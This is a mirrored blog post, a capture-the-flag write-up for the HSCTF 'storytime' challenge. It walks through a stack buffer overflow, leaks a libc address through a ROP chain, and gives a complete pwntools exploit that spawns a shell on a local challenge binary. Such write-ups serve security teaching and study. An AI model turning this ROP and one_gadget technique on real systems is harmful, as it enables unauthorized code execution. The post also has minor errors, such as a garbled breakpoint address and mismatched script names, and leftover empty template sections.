mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-16 04:16:59 +00:00
389 lines
17 KiB
Markdown
389 lines
17 KiB
Markdown
# Binary Exploitation
|
|
|
|
## Downloading the binary file
|
|
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
|
|
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/hs19_storytime/core
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
|
|
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/hs19_storytime/libc.so.6
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
|
|
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/hs19_storytime/storytime
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
|
|
→ file storytime
|
|
storytime: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3f716e7aa7e236824c52ed0410c1f14739919822, not stripped
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
|
|
→ chmod +x storytime ; ls -lash
|
|
total 4.1M
|
|
4.0K drwxr-xr-x 2 nothing nothing 4.0K Mar 7 10:27 .
|
|
4.0K drwxr-xr-x 13 nothing nothing 4.0K Mar 7 10:26 ..
|
|
2.3M -rw-r--r-- 1 nothing nothing 2.3M Mar 7 10:26 core
|
|
1.8M -rw-r--r-- 1 nothing nothing 1.8M Mar 7 10:27 libc.so.6
|
|
12K -rwxr-xr-x 1 nothing nothing 8.3K Mar 7 10:27 storytime
|
|
|
|
|
|
|
|
` ![]()
|
|
|
|
## Solution
|
|
|
|
First of all let's run pwn checksec on the binary and then run it to see what it does:
|
|
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
|
|
→ pwn checksec storytime
|
|
[*] '/home/nothing/binexp/2/hs/storytime'
|
|
Arch: amd64-64-little
|
|
RELRO: Partial RELRO
|
|
Stack: No canary found
|
|
NX: NX enabled
|
|
PIE: No PIE (0x400000)
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
|
|
→ ./storytime
|
|
HSCTF PWNNNNNNNNNNNNNNNNNNNN
|
|
Tell me a story:
|
|
yes
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
|
|
→ ./storytime
|
|
HSCTF PWNNNNNNNNNNNNNNNNNNNN
|
|
Tell me a story:
|
|
no
|
|
|
|
|
|
|
|
So we have a 64 bit dynamically linked binary that has a Non-Executable stack (NX), it prints out some text, and then prompts us for input. Let's view it inside of ghidra:
|
|
|
|

|
|
|
|
We get the following disassembled code:
|
|
|
|
|
|
undefined8 main(void)
|
|
|
|
{
|
|
undefined local_38 [48];
|
|
|
|
setvbuf(stdout,(char *)0x0,2,0);
|
|
write(1,"HSCTF PWNNNNNNNNNNNNNNNNNNNN\n",0x1d);
|
|
write(1,"Tell me a story: \n",0x12);
|
|
read(0,local_38,400);
|
|
return 0;
|
|
}
|
|
|
|
|
|
|
|
Our input text gets passed into a read() call, and we can pass in 400 bytes of data into the local_38 variable even though it was initially declared to be able to hold only 48 bytes. So this means that we have our buffer overflow right here. There is no stack canary, so nothing stops us from executing code, now what will we execute ? When we look under the imports in Ghidra, we see the following imported functions:
|
|
|
|

|
|
|
|
So this means that we can call any of these functions, Since the ELF is dynamically linked, we don't have alot of gadgets. First we will need to get a libc infoleak with a **write** function that writes to stdout (1) and then loops back again to a vulnerable read call to overwrite the return address with a [onegadget](https://github.com/david942j/one_gadget), which is a ROP gadget that can be found in the libc, that can potentially spawn a shell. Now we need to know what the libc version is, we can view it from gdb with the **vmmap** command.
|
|
|
|

|
|
|
|
Here we want to set the first breakpoint after the read call at **0x4x4x4x40069c** , so we can locate where our text is:
|
|
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/25 ] [binexp/2/hs]
|
|
→ gdb ./storytime
|
|
GNU gdb (GDB) 10.1
|
|
Copyright (C) 2020 Free Software Foundation, Inc.
|
|
License GPLv3+: GNU GPL version 3 or later
|
|
This is free software: you are free to change and redistribute it.
|
|
There is NO WARRANTY, to the extent permitted by law.
|
|
Type "show copying" and "show warranty" for details.
|
|
This GDB was configured as "x86_64-pc-linux-gnu".
|
|
Type "show configuration" for configuration details.
|
|
For bug reporting instructions, please see:
|
|
.
|
|
Find the GDB manual and other documentation resources online at:
|
|
.
|
|
|
|
For help, type "help".
|
|
Type "apropos word" to search for commands related to "word"...
|
|
GEF for linux ready, type `gef' to start, `gef config' to configure
|
|
92 commands loaded for GDB 10.1 using Python engine 3.9
|
|
Reading symbols from ./storytime...
|
|
(No debugging symbols found in ./storytime)
|
|
gef➤ b *0x40069c
|
|
Breakpoint 1 at 0x40069c
|
|
gef➤ r
|
|
Starting program: /home/nothing/binexp/2/hs/storytime
|
|
HSCTF PWNNNNNNNNNNNNNNNNNNNN
|
|
Tell me a story:
|
|
13371337
|
|
|
|
Breakpoint 1, 0x000000000040069c in main ()
|
|
[ Legend: Modified register | Code | Heap | Stack | String ]
|
|
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
|
$rax : 0x0
|
|
$rbx : 0x00000000004006a0 → <__libc_csu_init+0> push r15
|
|
$rcx : 0x00007ffff7ebd052 → 0x5677fffff0003d48 ("H="?)
|
|
$rdx : 0x190
|
|
$rsp : 0x00007fffffffdf38 → 0x00007ffff7df4b25 → <__libc_start_main+213> mov edi, eax
|
|
$rbp : 0x0
|
|
$rsi : 0x00007fffffffdf00 → 0x3733333137333331 ("13371337"?)
|
|
$rdi : 0x0
|
|
$rip : 0x000000000040069c → ret
|
|
$r8 : 0x0
|
|
$r9 : 0x00007ffff7fdc070 → <_dl_fini+0> endbr64
|
|
$r10 : 0xfffffffffffffb87
|
|
$r11 : 0x246
|
|
$r12 : 0x00000000004004d0 → <_start+0> xor ebp, ebp
|
|
$r13 : 0x0
|
|
$r14 : 0x0
|
|
$r15 : 0x0
|
|
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
|
|
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
|
|
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
|
0x00007fffffffdf38│+0x0000: 0x00007ffff7df4b25 → <__libc_start_main+213> mov edi, eax ← $rsp
|
|
0x00007fffffffdf40│+0x0008: 0x00007fffffffe028 → 0x00007fffffffe358 → "/home/nothing/binexp/2/hs/storytime"
|
|
0x00007fffffffdf48│+0x0010: 0x00000001f7fca000
|
|
0x00007fffffffdf50│+0x0018: 0x000000000040062e → push rbp
|
|
0x00007fffffffdf58│+0x0020: 0x00007fffffffe339 → 0x61b7180f2454c920
|
|
0x00007fffffffdf60│+0x0028: 0x00000000004006a0 → <__libc_csu_init+0> push r15
|
|
0x00007fffffffdf68│+0x0030: 0x7140ad8a61b88017
|
|
0x00007fffffffdf70│+0x0038: 0x00000000004004d0 → <_start+0> xor ebp, ebp
|
|
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
|
|
0x400691 call 0x4004b0
|
|
0x400696 mov eax, 0x0
|
|
0x40069b leave
|
|
●→ 0x40069c ret
|
|
↳ 0x7ffff7df4b25 <__libc_start_main+213> mov edi, eax
|
|
0x7ffff7df4b27 <__libc_start_main+215> call 0x7ffff7e0c820
|
|
0x7ffff7df4b2c <__libc_start_main+220> mov rax, QWORD PTR [rsp]
|
|
0x7ffff7df4b30 <__libc_start_main+224> lea rdi, [rip+0x164729] # 0x7ffff7f59260
|
|
0x7ffff7df4b37 <__libc_start_main+231> mov rsi, QWORD PTR [rax]
|
|
0x7ffff7df4b3a <__libc_start_main+234> xor eax, eax
|
|
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
|
[#0] Id 1, Name: "storytime", stopped 0x40069c in main (), reason: BREAKPOINT
|
|
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
|
[#0] 0x40069c → main()
|
|
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
|
gef➤
|
|
|
|
|
|
|
|
What happened here is that we first set the breakpoint to be after the read call, and then we ran the binary, gave it an easy to remember pattern (13371337) and then we hit our breakpoint. Now let's search where our pattern is in the memory:
|
|
|
|
|
|
gef➤ search-pattern 13371337
|
|
[+] Searching '13371337' in memory
|
|
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
|
|
0x7fffffffdf00 - 0x7fffffffdf08 → "13371337[...]"
|
|
|
|
gef➤ info frame
|
|
Stack level 0, frame at 0x7fffffffdf38:
|
|
rip = 0x40069c in main; saved rip = 0x7ffff7df4b25
|
|
Arglist at unknown address.
|
|
Locals at unknown address, Previous frame's sp is 0x7fffffffdf40
|
|
Saved registers:
|
|
rip at 0x7fffffffdf38
|
|
|
|
|
|
|
|
So here we see that our pattern is located at **0x7fffffffdf00** and the return address is at **0x7fffffffdf38** so we can now calculate the offset between the 2 with python's hex() function easily:
|
|
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [Nextcloud/blog]
|
|
→ python3
|
|
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
|
|
[GCC 10.2.0] on linux
|
|
Type "help", "copyright", "credits" or "license" for more information.
|
|
>>> hex( 0x7fffffffdf00 - 0x7fffffffdf38 )
|
|
'-0x38'
|
|
|
|
|
|
|
|
And we get a 0x38 bytes offset between the start of our input and the return address. Now for the write libc infoleak, we need to make use of the following registers:
|
|
|
|
|
|
rdi 0x1 (stdout file handle)
|
|
rsi got address entry for write
|
|
rdx value => 8
|
|
|
|
|
|
|
|
Since PIE isn't enabled, we know the address of the got entry without needing a PIE infoleak. Looking at the assembly code leading up to the ret instruction which gives us code execution, we can see that the **rdx** register is set to 0x190 whgich will fit our needs:
|
|
|
|
|
|
00400680 48 8d 45 d0 LEA RAX=>local_38,[RBP + -0x30]
|
|
00400684 ba 90 01 MOV EDX,0x190
|
|
00 00
|
|
00400689 48 89 c6 MOV RSI,RAX
|
|
0040068c bf 00 00 MOV EDI,0x0
|
|
00 00
|
|
00400691 e8 1a fe CALL read ssize_t read(int __fd, void * __
|
|
|
|
|
|
|
|
Now for the got entry of **write** in the rsi register, we see that there is a rop gadget that will allow us to pop it into the register. It will also pop a value into the r15 register, however we just need to include another 8 byte qword in our rop chain for that so it doesn't change anything:
|
|
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs]
|
|
→ ROPgadget --binary storytime| grep rsi
|
|
0x0000000000400701 : pop rsi ; pop r15 ; ret
|
|
|
|
|
|
|
|
Now for the last register (1 in rdi) we can jump to 0x400601 which is in the middle of the end function:
|
|
|
|
|
|
void end(void)
|
|
|
|
{
|
|
write(1,"The End!\n",0x28);
|
|
return;
|
|
}
|
|
|
|
|
|
|
|
The instruction we jump back to will **mov 0x1 into edi** and then call **write** which will give us our infoleak:
|
|
|
|
|
|
004005fa 48 8d 35 LEA RSI,[s_The_End!_00400761] = "The End!\n"
|
|
60 01 00 00
|
|
00400601 bf 01 00 MOV EDI,0x1
|
|
00 00
|
|
00400606 e8 95 fe CALL write ssize_t write(int __fd, void * _
|
|
ff ff
|
|
0040060b 90 NOP
|
|
0040060c 5d POP RBP
|
|
0040060d c3 RET
|
|
|
|
|
|
|
|
So it will return and then continue with our ropchain, however before it does that, it will pop a value off of our chain into the rbp register so we will need to include a 8 bytes qword in our ropchain at that point. for where to jump to, we choose **0x40060e** since it is the beginning of the **climax** function:
|
|
|
|

|
|
|
|
|
|
void climax(void)
|
|
|
|
{
|
|
undefined local_38 [48];
|
|
|
|
read(0,local_38,4000);
|
|
return;
|
|
}
|
|
|
|
|
|
|
|
This function will give us a buffer overflow where we can overwrite the return address with a onegadget and spawn a shell. Now let's find the onegadget from the base of libc, to choose which ones to use we can just guess and check
|
|
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs]
|
|
→ one_gadget libc.so.6
|
|
0x45216 execve("/bin/sh", rsp+0x30, environ)
|
|
constraints:
|
|
rax == NULL
|
|
|
|
0x4526a execve("/bin/sh", rsp+0x30, environ)
|
|
constraints:
|
|
[rsp+0x30] == NULL
|
|
|
|
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
|
|
constraints:
|
|
[rsp+0x50] == NULL
|
|
|
|
0xf1147 execve("/bin/sh", rsp+0x70, environ)
|
|
constraints:
|
|
[rsp+0x70] == NULL
|
|
|
|
|
|
|
|
So with all of this, we end up with the following exploit:
|
|
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs]
|
|
→ vim exploit.py
|
|
|
|
|
|
|
|
|
|
from pwn import *
|
|
|
|
target = process('./storytime')
|
|
libc = ELF('libc.so.6')
|
|
|
|
popRsiR15 = p64(0x400701)
|
|
writeGot = p64(0x601018)
|
|
payload = b"\x00"*0x38
|
|
|
|
# Pop the got entry of write into r15
|
|
payload += popRsiR15
|
|
payload += writeGot
|
|
payload += p64(0x3030303030303030) # Filler value will be popped into r15
|
|
|
|
# Right before write call in end
|
|
payload += p64(0x400601)
|
|
|
|
# Filler value that will be popped off in end
|
|
payload += p64(0x3030303030303030)
|
|
|
|
# Address of climax, we will exploit another buffer overflow to use the rop gadget
|
|
payload += p64(0x40060e)
|
|
|
|
target.sendline(payload)
|
|
print(target.recvuntil("Tell me a story: \n"))
|
|
|
|
# Scan in and filter out the libc infoleak, calculate base of libc
|
|
leak = u64(target.recv(8))
|
|
base = leak - libc.symbols["write"]
|
|
print(hex(base))
|
|
|
|
# Calculate the oneshot gadget
|
|
oneshot = base + 0x4526a
|
|
|
|
# Make the payload for the onshot gadget
|
|
payload = b"\x00"*0x38 + p64(oneshot)
|
|
|
|
# Send it and get a shell
|
|
target.sendline(payload)
|
|
target.interactive()
|
|
|
|
|
|
|
|
|
|
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs]
|
|
→ python3 original.py
|
|
[+] Starting local process './storytime': pid 1570923
|
|
[*] '/home/nothing/binexp/2/hs/libc.so.6'
|
|
Arch: amd64-64-little
|
|
RELRO: Partial RELRO
|
|
Stack: Canary found
|
|
NX: NX enabled
|
|
PIE: PIE enabled
|
|
b'HSCTF PWNNNNNNNNNNNNNNNNNNNN\nTell me a story: \n'
|
|
0x7f1b59432e30
|
|
[*] Switching to interactive mode
|
|
@\xa0RY\x1b\x7f\x00\xf0KY\x1b\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xc5_Y\x1b\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0[*] Got EOF while reading in interactive
|
|
$ cat flag.txt
|
|
hsctf{th4nk7_f0r_th3_g00d_st0ry_yay-314879357}
|
|
|
|
|
|
And that's it ! we managed to capture the flag.
|
|
|
|
## Title
|
|
|
|
text
|
|
|
|
|
|
|
|
|
|
` ![]()
|
|
|
|
## Title
|
|
|
|
text
|
|
|
|
|
|
|
|
|
|
` ![]()
|
|
|